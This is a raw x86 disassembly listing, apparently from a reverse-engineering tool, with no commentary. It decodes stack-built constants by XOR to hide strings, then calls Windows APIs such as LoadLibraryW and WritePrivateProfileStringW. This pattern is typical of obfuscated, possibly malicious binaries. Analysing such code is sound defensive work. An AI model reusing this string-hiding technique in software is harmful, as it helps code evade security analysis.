mov dword [ebp - 0x2114], 0x875c9a32
mov dword [ebp - 0x8a8], 0x51a004c0
mov dword [ebp - 0x8a4], 0x863b5edf
mov dword [ebp - 0x2110], 0x51a004c0
mov dword [ebp - 0x210c], 0x863b5edf
mov dword [ebp - 0x8a0], 0x703f3575
mov dword [ebp - 0x89c], 0x59cf328
mov dword [ebp - 0x2108], 0x703f3575
mov dword [ebp - 0x2104], 0x59cf328
mov dword [ebp - 0x898], 0x41b1e62
mov dword [ebp - 0x894], 0x60eff0d5
mov dword [ebp - 0x2100], 0x41b1e62
mov dword [ebp - 0x20fc], 0x60eff0d5
mov dword [ebp - 0x890], 0x5e5878f
mov dword [ebp - 0x88c], 0xc870fe56
mov dword [ebp - 0x20f8], 0x5e5878f
mov dword [ebp - 0x20f4], 0xc870fe56
mov dword [ebp - 0x888], 0x22b58714
mov dword [ebp - 0x884], 0x75f60763
mov dword [ebp - 0x20f0], 0x22b58714
mov dword [ebp - 0x20ec], 0x75f60763
mov dword [ebp - 0x880], 0x39e718d9
mov dword [ebp - 0x87c], 0x414bfbfc
mov dword [ebp - 0x20e8], 0x39e718d9
mov dword [ebp - 0x20e4], 0x414bfbfc
mov dword [ebp - 0x878], 0x12771dd6
mov dword [ebp - 0x874], 0x6f59e049
mov dword [ebp - 0x20e0], 0x12771dd6
mov dword [ebp - 0x20dc], 0x6f59e049
call fcn.0045f450
mov dword [ebp - 0x1250], 0xc82fd62a
mov dword [ebp - 0x124c], 0xf533e840
mov dword [ebp - 0x2158], 0xc82fd62a
mov dword [ebp - 0x2154], 0xf533e840
mov dword [ebp - 0x1248], 0x22c173e0
mov dword [ebp - 0x1244], 0xe55831ff
mov dword [ebp - 0x2150], 0x22c173e0
mov dword [ebp - 0x214c], 0xe55831ff
mov dword [ebp - 0x1240], 0x145a4700
mov dword [ebp - 0x123c], 0x60f48408
mov dword [ebp - 0x2148], 0x145a4700
mov dword [ebp - 0x2144], 0x60f48408
mov dword [ebp - 0x1238], 0x61693e0c
mov dword [ebp - 0x1234], 0x128084a6
mov dword [ebp - 0x2140], 0x61693e0c
mov dword [ebp - 0x213c], 0x128084a6
mov dword [ebp - 0x1230], 0x2582e9e6
mov dword [ebp - 0x122c], 0xe83cb212
mov dword [ebp - 0x2138], 0x2582e9e6
lea eax, [ebp - 0x2118]
mov dword [ebp - 0x2134], 0xe83cb212
push eax
lea eax, [ebp - 0x2158]
mov dword [ebp - 0x1228], 0x50c7e23c
push eax
lea ecx, [ebp - 0x3288]
mov dword [ebp - 0x1224], 0x16d6750c
mov dword [ebp - 0x2130], 0x50c7e23c
mov dword [ebp - 0x212c], 0x16d6750c
mov dword [ebp - 0x1220], 0x3827cb6
mov dword [ebp - 0x121c], 0x682fdedc
mov dword [ebp - 0x2128], 0x3827cb6
mov dword [ebp - 0x2124], 0x682fdedc
mov dword [ebp - 0x1218], 0x12771ddc
mov dword [ebp - 0x1214], 0x6f59e049
mov dword [ebp - 0x2120], 0x12771ddc
mov dword [ebp - 0x211c], 0x6f59e049
call fcn.0045f450
movaps xmm1, xmmword [ebp - 0x1250]
lea eax, [ebp - 0x1250]
pxor xmm1, xmmword [ebp - 0x8b0]
movaps xmmword [ebp - 0x1250], xmm1
movaps xmm1, xmmword [ebp - 0x8a0]
pxor xmm1, xmmword [ebp - 0x1240]
movaps xmmword [ebp - 0x1240], xmm1
movaps xmm1, xmmword [ebp - 0x890]
pxor xmm1, xmmword [ebp - 0x1230]
movaps xmmword [ebp - 0x1230], xmm1
movaps xmm1, xmmword [ebp - 0x880]
pxor xmm1, xmmword [ebp - 0x1220]
push esi
push eax
movaps xmmword [ebp - 0x1220], xmm1
call fcn.0044b300
add esp, 8
mov dword [ebp - 0x2e20], 0xfe5af93b
lea eax, [ebp - 0x2e10]
mov dword [ebp - 0x2e1c], 0x875c9a77
lea ecx, [ebp - 0x3280]
mov dword [ebp - 0x2e18], 0x51a004c0
mov dword [ebp - 0x2e14], 0x863b5edf
push eax
lea eax, [ebp - 0x2e20]
push eax
call fcn.0045f450
lea eax, [ebp - 0x2e20]
mov dword [ebp - 0x850], 0xad0fb86b
push eax
lea eax, [ebp - 0x2e30]
mov dword [ebp - 0x84c], 0x875c9a32
push eax
lea ecx, [ebp - 0x3278]
mov dword [ebp - 0x2e30], 0xad0fb86b
mov dword [ebp - 0x2e2c], 0x875c9a32
mov dword [ebp - 0x848], 0x51a004c0
mov dword [ebp - 0x844], 0x863b5edf
mov dword [ebp - 0x2e28], 0x51a004c0
mov dword [ebp - 0x2e24], 0x863b5edf
call fcn.0045f450
lea eax, [ebp - 0x2e30]
mov dword [ebp - 0xbe0], 0xfe5af93b
push eax
lea eax, [ebp - 0x2e40]
mov dword [ebp - 0xbdc], 0x875c9a77
push eax
lea ecx, [ebp - 0x3270]
mov dword [ebp - 0x2e40], 0xfe5af93b
mov dword [ebp - 0x2e3c], 0x875c9a77
mov dword [ebp - 0xbd8], 0x51a004c0
mov dword [ebp - 0xbd4], 0x863b5edf
mov dword [ebp - 0x2e38], 0x51a004c0
mov dword [ebp - 0x2e34], 0x863b5edf
call fcn.0045f450
movaps xmm1, xmmword [ebp - 0x850]
lea eax, [ebp - 0xbe0]
pxor xmm1, xmmword [ebp - 0xbe0]
push eax
movaps xmmword [ebp - 0xbe0], xmm1
call fcn.005d657d
add esp, 4
jmp 0x45d03e
mov edi, dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
call dword [sym.imp.WS2_32.dll_WSACleanup]
push 0x208
lea eax, [ebp - 0x228]
push 0
push eax
call fcn.005c9580
add esp, 0xc
mov dword [ebp - 0x14f8], 0xad60b828
lea eax, [ebp - 0x14d8]
mov dword [ebp - 0x14f4], 0x872f9a5c
lea ecx, [ebp - 0x3268]
mov dword [ebp - 0x14f0], 0x51d204b4
mov dword [ebp - 0x14ec], 0x86585eaa
push eax
lea eax, [ebp - 0x14f8]
mov dword [ebp - 0x14e8], 0x70503501
push eax
mov dword [ebp - 0x14e4], 0x5b2f35a
mov dword [ebp - 0x14e0], 0x4771e06
mov dword [ebp - 0x14dc], 0x60eff0b9
call fcn.0045f450
lea eax, [ebp - 0x14b8]
mov dword [ebp - 0x860], 0xad0fb86b
push eax
lea eax, [ebp - 0x14d8]
mov dword [ebp - 0x85c], 0x875c9a32
push eax
lea ecx, [ebp - 0x3260]
mov dword [ebp - 0x14d8], 0xad0fb86b
mov dword [ebp - 0x14d4], 0x875c9a32
mov dword [ebp - 0x858], 0x51a004c0
mov dword [ebp - 0x854], 0x863b5edf
mov dword [ebp - 0x14d0], 0x51a004c0
mov dword [ebp - 0x14cc], 0x863b5edf
mov dword [ebp - 0x850], 0x703f3575
mov dword [ebp - 0x84c], 0x59cf328
mov dword [ebp - 0x14c8], 0x703f3575
mov dword [ebp - 0x14c4], 0x59cf328
mov dword [ebp - 0x848], 0x41b1e62
mov dword [ebp - 0x844], 0x60eff0d5
mov dword [ebp - 0x14c0], 0x41b1e62
mov dword [ebp - 0x14bc], 0x60eff0d5
call fcn.0045f450
lea eax, [ebp - 0x1498]
mov dword [ebp - 0xc40], 0xad60b828
push eax
lea eax, [ebp - 0x14b8]
mov dword [ebp - 0xc3c], 0x872f9a5c
push eax
lea ecx, [ebp - 0x3258]
mov dword [ebp - 0x14b8], 0xad60b828
mov dword [ebp - 0x14b4], 0x872f9a5c
mov dword [ebp - 0xc38], 0x51d204b4
mov dword [ebp - 0xc34], 0x86585eaa
mov dword [ebp - 0x14b0], 0x51d204b4
mov dword [ebp - 0x14ac], 0x86585eaa
mov dword [ebp - 0xc30], 0x70503501
mov dword [ebp - 0xc2c], 0x5b2f35a
mov dword [ebp - 0x14a8], 0x70503501
mov dword [ebp - 0x14a4], 0x5b2f35a
mov dword [ebp - 0xc28], 0x4771e06
mov dword [ebp - 0xc24], 0x60eff0b9
mov dword [ebp - 0x14a0], 0x4771e06
mov dword [ebp - 0x149c], 0x60eff0b9
call fcn.0045f450
movaps xmm1, xmmword [ebp - 0xc40]
lea eax, [ebp - 0x228]
pxor xmm1, xmmword [ebp - 0x860]
push 0
push eax
movaps xmmword [ebp - 0xc40], xmm1
lea eax, [ebp - 0xc40]
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0xc30]
push 0x104
push eax
movaps xmmword [ebp - 0xc30], xmm1
call edi
push 0xc0
mov dl, 1
lea ecx, [ebp - 0x228]
call fcn.0044c4f0
add esp, 4
mov dword [ebp - 0x1498], 0xc47aee61
lea eax, [ebp - 0x1478]
mov dword [ebp - 0x1494], 0xe933f612
lea ecx, [ebp - 0x3250]
mov dword [ebp - 0x1490], 0x39cb24a7
mov dword [ebp - 0x148c], 0xe21b37b0
push eax
lea eax, [ebp - 0x1498]
mov dword [ebp - 0x1488], 0x50585b1a
push eax
mov dword [ebp - 0x1484], 0x25fd9a4f
mov dword [ebp - 0x1480], 0x2a6b7f0e
mov dword [ebp - 0x147c], 0x60eff0df
call fcn.0045f450
lea eax, [ebp - 0x1458]
mov dword [ebp - 0x860], 0xad0fb86b
push eax
lea eax, [ebp - 0x1478]
mov dword [ebp - 0x85c], 0x875c9a32
push eax
lea ecx, [ebp - 0x3248]
mov dword [ebp - 0x1478], 0xad0fb86b
mov dword [ebp - 0x1474], 0x875c9a32
mov dword [ebp - 0x858], 0x51a004c0
mov dword [ebp - 0x854], 0x863b5edf
mov dword [ebp - 0x1470], 0x51a004c0
mov dword [ebp - 0x146c], 0x863b5edf
mov dword [ebp - 0x850], 0x703f3575
mov dword [ebp - 0x84c], 0x59cf328
mov dword [ebp - 0x1468], 0x703f3575
mov dword [ebp - 0x1464], 0x59cf328
mov dword [ebp - 0x848], 0x41b1e62
mov dword [ebp - 0x844], 0x60eff0d5
mov dword [ebp - 0x1460], 0x41b1e62
mov dword [ebp - 0x145c], 0x60eff0d5
call fcn.0045f450
lea eax, [ebp - 0x1438]
mov dword [ebp - 0xc60], 0xc47aee61
push eax
lea eax, [ebp - 0x1458]
mov dword [ebp - 0xc5c], 0xe933f612
push eax
lea ecx, [ebp - 0x3240]
mov dword [ebp - 0x1458], 0xc47aee61
mov dword [ebp - 0x1454], 0xe933f612
mov dword [ebp - 0xc58], 0x39cb24a7
mov dword [ebp - 0xc54], 0xe21b37b0
mov dword [ebp - 0x1450], 0x39cb24a7
mov dword [ebp - 0x144c], 0xe21b37b0
mov dword [ebp - 0xc50], 0x50585b1a
mov dword [ebp - 0xc4c], 0x25fd9a4f
mov dword [ebp - 0x1448], 0x50585b1a
mov dword [ebp - 0x1444], 0x25fd9a4f
mov dword [ebp - 0xc48], 0x2a6b7f0e
mov dword [ebp - 0xc44], 0x60eff0df
mov dword [ebp - 0x1440], 0x2a6b7f0e
mov dword [ebp - 0x143c], 0x60eff0df
call fcn.0045f450
movaps xmm1, xmmword [ebp - 0xc60]
lea eax, [ebp - 0xc60]
pxor xmm1, xmmword [ebp - 0x860]
movaps xmmword [ebp - 0xc60], xmm1
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0xc50]
push eax
movaps xmmword [ebp - 0xc50], xmm1
call fcn.0044b300
add esp, 4
mov dword [ebp - 0x1438], 0xad7db83f
lea eax, [ebp - 0x1418]
mov dword [ebp - 0x1434], 0x871f9a4b
mov dword [ebp - 0x1430], 0x51d504af
mov dword [ebp - 0x142c], 0x864f5eb1
push eax
mov dword [ebp - 0x1428], 0x703f3575
lea eax, [ebp - 0x1438]
mov dword [ebp - 0x1424], 0x59cf328
mov dword [ebp - 0x1420], 0x41b1e62
mov dword [ebp - 0x141c], 0x60eff0d5
push eax
lea ecx, [ebp - 0x3238]
call fcn.0045f450
lea eax, [ebp - 0x13f8]
mov dword [ebp - 0x860], 0xad0fb86b
push eax
lea eax, [ebp - 0x1418]
mov dword [ebp - 0x85c], 0x875c9a32
push eax
lea ecx, [ebp - 0x3230]
mov dword [ebp - 0x1418], 0xad0fb86b
mov dword [ebp - 0x1414], 0x875c9a32
mov dword [ebp - 0x858], 0x51a004c0
mov dword [ebp - 0x854], 0x863b5edf
mov dword [ebp - 0x1410], 0x51a004c0
mov dword [ebp - 0x140c], 0x863b5edf
mov dword [ebp - 0x850], 0x703f3575
mov dword [ebp - 0x84c], 0x59cf328
mov dword [ebp - 0x1408], 0x703f3575
mov dword [ebp - 0x1404], 0x59cf328
mov dword [ebp - 0x848], 0x41b1e62
mov dword [ebp - 0x844], 0x60eff0d5
mov dword [ebp - 0x1400], 0x41b1e62
mov dword [ebp - 0x13fc], 0x60eff0d5
call fcn.0045f450
lea eax, [ebp - 0x13d8]
mov dword [ebp - 0xc80], 0xad7db83f
push eax
lea eax, [ebp - 0x13f8]
mov dword [ebp - 0xc7c], 0x871f9a4b
push eax
lea ecx, [ebp - 0x3228]
mov dword [ebp - 0x13f8], 0xad7db83f
mov dword [ebp - 0x13f4], 0x871f9a4b
mov dword [ebp - 0xc78], 0x51d504af
mov dword [ebp - 0xc74], 0x864f5eb1
mov dword [ebp - 0x13f0], 0x51d504af
mov dword [ebp - 0x13ec], 0x864f5eb1
mov dword [ebp - 0xc70], 0x703f3575
mov dword [ebp - 0xc6c], 0x59cf328
mov dword [ebp - 0x13e8], 0x703f3575
mov dword [ebp - 0x13e4], 0x59cf328
mov dword [ebp - 0xc68], 0x41b1e62
mov dword [ebp - 0xc64], 0x60eff0d5
mov dword [ebp - 0x13e0], 0x41b1e62
mov dword [ebp - 0x13dc], 0x60eff0d5
call fcn.0045f450
movaps xmm1, xmmword [ebp - 0xc80]
lea eax, [ebp - 0x2e40]
pxor xmm1, xmmword [ebp - 0x860]
lea ecx, [ebp - 0x3220]
movaps xmmword [ebp - 0xc80], xmm1
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0xc70]
push eax
lea eax, [ebp - 0x2e50]
movaps xmmword [ebp - 0xc70], xmm1
push eax
mov dword [ebp - 0x2e50], 0xad5bb839
mov dword [ebp - 0x2e4c], 0x875c9a32
mov dword [ebp - 0x2e48], 0x51a004c0
mov dword [ebp - 0x2e44], 0x863b5edf
call fcn.0045f450
lea eax, [ebp - 0x2e50]
mov dword [ebp - 0x850], 0xad0fb86b
push eax
lea eax, [ebp - 0x2e60]
mov dword [ebp - 0x84c], 0x875c9a32
push eax
lea ecx, [ebp - 0x3218]
mov dword [ebp - 0x2e60], 0xad0fb86b
mov dword [ebp - 0x2e5c], 0x875c9a32
mov dword [ebp - 0x848], 0x51a004c0
mov dword [ebp - 0x844], 0x863b5edf
mov dword [ebp - 0x2e58], 0x51a004c0
mov dword [ebp - 0x2e54], 0x863b5edf
call fcn.0045f450
mov dword [ebp - 0xbf0], 0xad5bb839
mov dword [ebp - 0xbec], 0x875c9a32
mov dword [ebp - 0x2e70], 0xad5bb839
mov dword [ebp - 0x2e6c], 0x875c9a32
lea eax, [ebp - 0x2e60]
mov dword [ebp - 0xbe8], 0x51a004c0
push eax
lea eax, [ebp - 0x2e70]
mov dword [ebp - 0xbe4], 0x863b5edf
push eax
lea ecx, [ebp - 0x3210]
mov dword [ebp - 0x2e68], 0x51a004c0
mov dword [ebp - 0x2e64], 0x863b5edf
call fcn.0045f450
movaps xmm1, xmmword [ebp - 0xbf0]
lea eax, [ebp - 0x430]
pxor xmm1, xmmword [ebp - 0x850]
push eax
push 0x66ee54
lea eax, [ebp - 0xc80]
movaps xmmword [ebp - 0xbf0], xmm1
push eax
lea eax, [ebp - 0xbf0]
push eax
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
push 0x720
lea eax, [ebp - 0x2998]
mov dword [ebp - 0x2b4c], 0
push 0
push eax
mov byte [ebp - 0x2b2d], 0
call fcn.005c9580
add esp, 0xc
mov dword [ebp - 0x2218], 0xc166d92d
lea eax, [ebp - 0x21d8]
mov dword [ebp - 0x2214], 0xf37cfe57
lea ecx, [ebp - 0x3208]
mov dword [ebp - 0x2210], 0x3fc924af
mov dword [ebp - 0x220c], 0xe7552ab6
push eax
lea eax, [ebp - 0x2218]
mov dword [ebp - 0x2208], 0x15455c19
push eax
mov dword [ebp - 0x2204], 0x28f2a508
mov dword [ebp - 0x2200], 0x28637f2a
mov dword [ebp - 0x21fc], 0x99795f5
mov dword [ebp - 0x21f8], 0x628beefb
mov dword [ebp - 0x21f4], 0xba02bb5c
mov dword [ebp - 0x21f0], 0x4195f57b
mov dword [ebp - 0x21ec], 0x4f93630c
mov dword [ebp - 0x21e8], 0x39833df9
mov dword [ebp - 0x21e4], 0x414bfbfc
mov dword [ebp - 0x21e0], 0x12771dd6
mov dword [ebp - 0x21dc], 0x6f59e049
call fcn.0045f450
mov dword [ebp - 0x8b0], 0xad0fb86b
mov dword [ebp - 0x8ac], 0x875c9a32
mov dword [ebp - 0x2198], 0xad0fb86b
mov dword [ebp - 0x2194], 0x875c9a32
mov dword [ebp - 0x8a8], 0x51a004c0
mov dword [ebp - 0x8a4], 0x863b5edf
mov dword [ebp - 0x2190], 0x51a004c0
mov dword [ebp - 0x218c], 0x863b5edf
mov dword [ebp - 0x8a0], 0x703f3575
mov dword [ebp - 0x89c], 0x59cf328
mov dword [ebp - 0x2188], 0x703f3575
mov dword [ebp - 0x2184], 0x59cf328
mov dword [ebp - 0x898], 0x41b1e62
mov dword [ebp - 0x894], 0x60eff0d5
mov dword [ebp - 0x2180], 0x41b1e62
mov dword [ebp - 0x217c], 0x60eff0d5
mov dword [ebp - 0x890], 0x5e5878f
mov dword [ebp - 0x88c], 0xc870fe56
mov dword [ebp - 0x2178], 0x5e5878f
mov dword [ebp - 0x2174], 0xc870fe56
mov dword [ebp - 0x888], 0x22b58714
mov dword [ebp - 0x884], 0x75f60763
mov dword [ebp - 0x2170], 0x22b58714
mov dword [ebp - 0x216c], 0x75f60763
mov dword [ebp - 0x880], 0x39e718d9
mov dword [ebp - 0x87c], 0x414bfbfc
mov dword [ebp - 0x2168], 0x39e718d9
mov dword [ebp - 0x2164], 0x414bfbfc
mov dword [ebp - 0x878], 0x12771dd6
mov dword [ebp - 0x874], 0x6f59e049
lea eax, [ebp - 0x2158]
mov dword [ebp - 0x2160], 0x12771dd6
push eax
lea eax, [ebp - 0x2198]
mov dword [ebp - 0x215c], 0x6f59e049
push eax
lea ecx, [ebp - 0x3200]
call fcn.0045f450
lea eax, [ebp - 0x2198]
mov dword [ebp - 0x1290], 0xc166d92d
push eax
lea eax, [ebp - 0x21d8]
mov dword [ebp - 0x128c], 0xf37cfe57
push eax
lea ecx, [ebp - 0x31f8]
mov dword [ebp - 0x21d8], 0xc166d92d
mov dword [ebp - 0x21d4], 0xf37cfe57
mov dword [ebp - 0x1288], 0x3fc924af
mov dword [ebp - 0x1284], 0xe7552ab6
mov dword [ebp - 0x21d0], 0x3fc924af
mov dword [ebp - 0x21cc], 0xe7552ab6
mov dword [ebp - 0x1280], 0x15455c19
mov dword [ebp - 0x127c], 0x28f2a508
mov dword [ebp - 0x21c8], 0x15455c19
mov dword [ebp - 0x21c4], 0x28f2a508
mov dword [ebp - 0x1278], 0x28637f2a
mov dword [ebp - 0x1274], 0x99795f5
mov dword [ebp - 0x21c0], 0x28637f2a
mov dword [ebp - 0x21bc], 0x99795f5
mov dword [ebp - 0x1270], 0x628beefb
mov dword [ebp - 0x126c], 0xba02bb5c
mov dword [ebp - 0x21b8], 0x628beefb
mov dword [ebp - 0x21b4], 0xba02bb5c
mov dword [ebp - 0x1268], 0x4195f57b
mov dword [ebp - 0x1264], 0x4f93630c
mov dword [ebp - 0x21b0], 0x4195f57b
mov dword [ebp - 0x21ac], 0x4f93630c
mov dword [ebp - 0x1260], 0x39833df9
mov dword [ebp - 0x125c], 0x414bfbfc
mov dword [ebp - 0x21a8], 0x39833df9
mov dword [ebp - 0x21a4], 0x414bfbfc
mov dword [ebp - 0x1258], 0x12771dd6
mov dword [ebp - 0x1254], 0x6f59e049
mov dword [ebp - 0x21a0], 0x12771dd6
mov dword [ebp - 0x219c], 0x6f59e049
call fcn.0045f450
movaps xmm1, xmmword [ebp - 0x1290]
xor ecx, ecx
pxor xmm1, xmmword [ebp - 0x8b0]
movaps xmmword [ebp - 0x1290], xmm1
movaps xmm1, xmmword [ebp - 0x8a0]
pxor xmm1, xmmword [ebp - 0x1280]
movaps xmmword [ebp - 0x1280], xmm1
movaps xmm1, xmmword [ebp - 0x890]
pxor xmm1, xmmword [ebp - 0x1270]
movaps xmmword [ebp - 0x1270], xmm1
movaps xmm1, xmmword [ebp - 0x880]
pxor xmm1, xmmword [ebp - 0x1260]
movaps xmmword [ebp - 0x1260], xmm1
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x1290]
lea ecx, [ecx + 1]
mov byte [ebp + ecx - 0x2779], al
test al, al
jne 0x459f80
lea eax, [ebp - 0x2e70]
mov dword [ebp - 0x2e80], 0xc27dca2e
push eax
lea eax, [ebp - 0x2e80]
mov dword [ebp - 0x2e7c], 0x875c9a40
push eax
lea ecx, [ebp - 0x31f0]
mov dword [ebp - 0x2e78], 0x51a004c0
mov dword [ebp - 0x2e74], 0x863b5edf
call fcn.0045f450
lea eax, [ebp - 0x2e80]
mov dword [ebp - 0x850], 0xad0fb86b
push eax
lea eax, [ebp - 0x2e90]
mov dword [ebp - 0x84c], 0x875c9a32
push eax
lea ecx, [ebp - 0x31e8]
mov dword [ebp - 0x2e90], 0xad0fb86b
mov dword [ebp - 0x2e8c], 0x875c9a32
mov dword [ebp - 0x848], 0x51a004c0
mov dword [ebp - 0x844], 0x863b5edf
mov dword [ebp - 0x2e88], 0x51a004c0
mov dword [ebp - 0x2e84], 0x863b5edf
call fcn.0045f450
lea eax, [ebp - 0x2e90]
mov dword [ebp - 0xc00], 0xc27dca2e
push eax
lea eax, [ebp - 0x2ea0]
mov dword [ebp - 0xbfc], 0x875c9a40
push eax
lea ecx, [ebp - 0x31e0]
mov dword [ebp - 0x2ea0], 0xc27dca2e
mov dword [ebp - 0x2e9c], 0x875c9a40
mov dword [ebp - 0xbf8], 0x51a004c0
mov dword [ebp - 0xbf4], 0x863b5edf
mov dword [ebp - 0x2e98], 0x51a004c0
mov dword [ebp - 0x2e94], 0x863b5edf
call fcn.0045f450
movaps xmm1, xmmword [ebp - 0xc00]
xor ecx, ecx
pxor xmm1, xmmword [ebp - 0x850]
movaps xmmword [ebp - 0xc00], xmm1
mov al, byte [ebp + ecx - 0xc00]
lea ecx, [ecx + 1]
mov byte [ebp + ecx - 0x2679], al
test al, al
jne 0x45a0c0
xor ecx, ecx
nop word [eax + eax]
movzx eax, word [ebp + ecx - 0x228]
lea ecx, [ecx + 2]
mov word [ebp + ecx - 0x2982], ax
test ax, ax
jne 0x45a0e0
lea eax, [ebp - 0x13b8]
mov dword [ebp - 0x13d8], 0xad6ab800
push eax
lea eax, [ebp - 0x13d8]
mov dword [ebp - 0x13d4], 0x87329a40
push eax
lea ecx, [ebp - 0x31d8]
mov dword [ebp - 0x13d0], 0x51cc04a5
mov dword [ebp - 0x13cc], 0x86095eec
mov dword [ebp - 0x13c8], 0x705b355b
mov dword [ebp - 0x13c4], 0x5f0f344
mov dword [ebp - 0x13c0], 0x41b1e62
mov dword [ebp - 0x13bc], 0x60eff0d5
call fcn.0045f450
lea eax, [ebp - 0x1398]
mov dword [ebp - 0x860], 0xad0fb86b
push eax
lea eax, [ebp - 0x13b8]
mov dword [ebp - 0x85c], 0x875c9a32
push eax
lea ecx, [ebp - 0x31d0]
mov dword [ebp - 0x13b8], 0xad0fb86b
mov dword [ebp - 0x13b4], 0x875c9a32
mov dword [ebp - 0x858], 0x51a004c0
mov dword [ebp - 0x854], 0x863b5edf
mov dword [ebp - 0x13b0], 0x51a004c0
mov dword [ebp - 0x13ac], 0x863b5edf
mov dword [ebp - 0x850], 0x703f3575
mov dword [ebp - 0x84c], 0x59cf328
mov dword [ebp - 0x13a8], 0x703f3575
mov dword [ebp - 0x13a4], 0x59cf328
mov dword [ebp - 0x848], 0x41b1e62
mov dword [ebp - 0x844], 0x60eff0d5
mov dword [ebp - 0x13a0], 0x41b1e62
mov dword [ebp - 0x139c], 0x60eff0d5
call fcn.0045f450
lea eax, [ebp - 0x1378]
mov dword [ebp - 0xca0], 0xad6ab800
push eax
lea eax, [ebp - 0x1398]
mov dword [ebp - 0xc9c], 0x87329a40
push eax
lea ecx, [ebp - 0x31c8]
mov dword [ebp - 0x1398], 0xad6ab800
mov dword [ebp - 0x1394], 0x87329a40
mov dword [ebp - 0xc98], 0x51cc04a5
mov dword [ebp - 0xc94], 0x86095eec
mov dword [ebp - 0x1390], 0x51cc04a5
mov dword [ebp - 0x138c], 0x86095eec
mov dword [ebp - 0xc90], 0x705b355b
mov dword [ebp - 0xc8c], 0x5f0f344
mov dword [ebp - 0x1388], 0x705b355b
mov dword [ebp - 0x1384], 0x5f0f344
mov dword [ebp - 0xc88], 0x41b1e62
mov dword [ebp - 0xc84], 0x60eff0d5
mov dword [ebp - 0x1380], 0x41b1e62
mov dword [ebp - 0x137c], 0x60eff0d5
call fcn.0045f450
movaps xmm1, xmmword [ebp - 0xca0]
lea eax, [ebp - 0xca0]
pxor xmm1, xmmword [ebp - 0x860]
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
movaps xmmword [ebp - 0xca0], xmm1
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0xc90]
push eax
movaps xmmword [ebp - 0xc90], xmm1
call edi
mov dword [ebp - 0x2b2c], eax
lea eax, [ebp - 0x1a18]
push eax
lea eax, [ebp - 0x1a38]
mov dword [ebp - 0x1a38], 0xad7cb81e
mov dword [ebp - 0x1a34], 0x872e9a57
mov dword [ebp - 0x1a30], 0x519204f3
mov dword [ebp - 0x1a2c], 0x865f5ef1
mov dword [ebp - 0x1a28], 0x70533519
mov dword [ebp - 0x1a24], 0x59cf328
mov dword [ebp - 0x1a20], 0x41b1e62
mov dword [ebp - 0x1a1c], 0x60eff0d5
push eax
lea ecx, [ebp - 0x31c0]
call fcn.0045f450
lea eax, [ebp - 0x19f8]
mov dword [ebp - 0x860], 0xad0fb86b
push eax
lea eax, [ebp - 0x1a18]
mov dword [ebp - 0x85c], 0x875c9a32
push eax
lea ecx, [ebp - 0x31b8]
mov dword [ebp - 0x1a18], 0xad0fb86b
mov dword [ebp - 0x1a14], 0x875c9a32
mov dword [ebp - 0x858], 0x51a004c0
mov dword [ebp - 0x854], 0x863b5edf
mov dword [ebp - 0x1a10], 0x51a004c0
mov dword [ebp - 0x1a0c], 0x863b5edf
mov dword [ebp - 0x850], 0x703f3575
mov dword [ebp - 0x84c], 0x59cf328
mov dword [ebp - 0x1a08], 0x703f3575
mov dword [ebp - 0x1a04], 0x59cf328
mov dword [ebp - 0x848], 0x41b1e62
mov dword [ebp - 0x844], 0x60eff0d5
mov dword [ebp - 0x1a00], 0x41b1e62
mov dword [ebp - 0x19fc], 0x60eff0d5
call fcn.0045f450
lea eax, [ebp - 0x19d8]
mov dword [ebp - 0xcc0], 0xad7cb81e
push eax
lea eax, [ebp - 0x19f8]
mov dword [ebp - 0xcbc], 0x872e9a57
push eax
lea ecx, [ebp - 0x31b0]
mov dword [ebp - 0x19f8], 0xad7cb81e
mov dword [ebp - 0x19f4], 0x872e9a57
mov dword [ebp - 0xcb8], 0x519204f3
mov dword [ebp - 0xcb4], 0x865f5ef1
mov dword [ebp - 0x19f0], 0x519204f3
mov dword [ebp - 0x19ec], 0x865f5ef1
mov dword [ebp - 0xcb0], 0x70533519
mov dword [ebp - 0xcac], 0x59cf328
mov dword [ebp - 0x19e8], 0x70533519
mov dword [ebp - 0x19e4], 0x59cf328
mov dword [ebp - 0xca8], 0x41b1e62
mov dword [ebp - 0xca4], 0x60eff0d5
mov dword [ebp - 0x19e0], 0x41b1e62
mov dword [ebp - 0x19dc], 0x60eff0d5
call fcn.0045f450
movaps xmm1, xmmword [ebp - 0x860]
lea eax, [ebp - 0xcc0]
pxor xmm1, xmmword [ebp - 0xcc0]
movaps xmmword [ebp - 0xcc0], xmm1
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0xcb0]
push eax
movaps xmmword [ebp - 0xcb0], xmm1
call edi
mov esi, eax
mov dword [ebp - 0x19d8], 0xad7cb806
lea eax, [ebp - 0x19b8]
mov dword [ebp - 0x19d4], 0x873f9a44
push eax
lea eax, [ebp - 0x19d8]
mov dword [ebp - 0x19d0], 0x51d404b2
push eax
lea ecx, [ebp - 0x31a8]
mov dword [ebp - 0x19cc], 0x865f5ef1
mov dword [ebp - 0x19c8], 0x70533519
mov dword [ebp - 0x19c4], 0x59cf328
mov dword [ebp - 0x19c0], 0x41b1e62
mov dword [ebp - 0x19bc], 0x60eff0d5
call fcn.0045f450
mov dword [ebp - 0x860], 0xad0fb86b
mov dword [ebp - 0x85c], 0x875c9a32
mov dword [ebp - 0x19b8], 0xad0fb86b
mov dword [ebp - 0x19b4], 0x875c9a32
mov dword [ebp - 0x858], 0x51a004c0
mov dword [ebp - 0x854], 0x863b5edf
mov dword [ebp - 0x19b0], 0x51a004c0
mov dword [ebp - 0x19ac], 0x863b5edf
mov dword [ebp - 0x850], 0x703f3575
mov dword [ebp - 0x84c], 0x59cf328
mov dword [ebp - 0x19a8], 0x703f3575
lea eax, [ebp - 0x1998]
mov dword [ebp - 0x19a4], 0x59cf328
push eax
lea eax, [ebp - 0x19b8]
mov dword [ebp - 0x848], 0x41b1e62
push eax
lea ecx, [ebp - 0x31a0]
mov dword [ebp - 0x844], 0x60eff0d5
mov dword [ebp - 0x19a0], 0x41b1e62
mov dword [ebp - 0x199c], 0x60eff0d5
call fcn.0045f450
lea eax, [ebp - 0x1978]
mov dword [ebp - 0xce0], 0xad7cb806
push eax
lea eax, [ebp - 0x1998]
